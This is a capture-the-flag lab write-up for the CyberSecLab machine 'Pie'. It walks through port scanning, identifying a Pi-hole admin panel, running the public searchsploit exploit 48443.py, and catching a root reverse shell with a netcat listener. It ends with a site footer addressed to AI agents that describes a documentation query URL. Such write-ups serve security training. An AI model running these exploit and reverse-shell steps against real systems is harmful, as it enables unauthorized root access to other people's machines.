# Pie

## nmap

I prefer to use `rustscan` with additional `nmap` flags as it's faster, but you can use plain `nmap`

```
mkdir nmap
sudo rustscan -a 172.31.1.26 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

We can see port 80 is open, let's quickly check if it's a web server.

<div align="left"><img src="/files/-Mirsb3kHNLE9QfLVQcJ" alt=""></div>

## Pi hole

Looks like it's really a web server, and it is running **Pi hole**

![](/files/-MirtKcim-eGfNAnDMIa)

Navigate to /admin, and you will see the version of Pi hole in the footer

<div align="left"><img src="/files/-Mirtx8tUgv1VjgvPSdc" alt=""></div>

## Exploitation

Search this Pi-hole version on `searchsploit`

```
searchsploit pi hole
```

Let's try to use the 6th result since it sounds more interesting than others.

<div align="left"><img src="/files/-MiruUeAyS5Qfmt7Sud2" alt=""></div>

First, let's mirror the exploit to our current working directory

```
searchsploit -m linux/webapps/48443.py
```

As per the author we need the following to execute the exploit.

![](/files/-Mirvc6HwNJnvovGRjGx)

Let's run the exploit

```
python 48443.py 9nm7ajvv8ncaqidomb5arjchov http://172.31.1.26/ 10.10.0.41 80
```

Right after the script was finished, set a reverse shell listener

```
nc -lnvnp 80
```

To trigger the shell, you have to navigate to `/admin/scripts/pi-hole/php/fun.php`

<div align="left"><img src="/files/-Mirwyy8h3RzHe_CF7Kx" alt=""></div>

Then you should receive your root shell. :D

<div align="left"><img src="/files/-MirxWk_io4WreezMUWK" alt=""></div>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://psdon.gitbook.io/hackworld/writeup/cyberseclab/pie.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
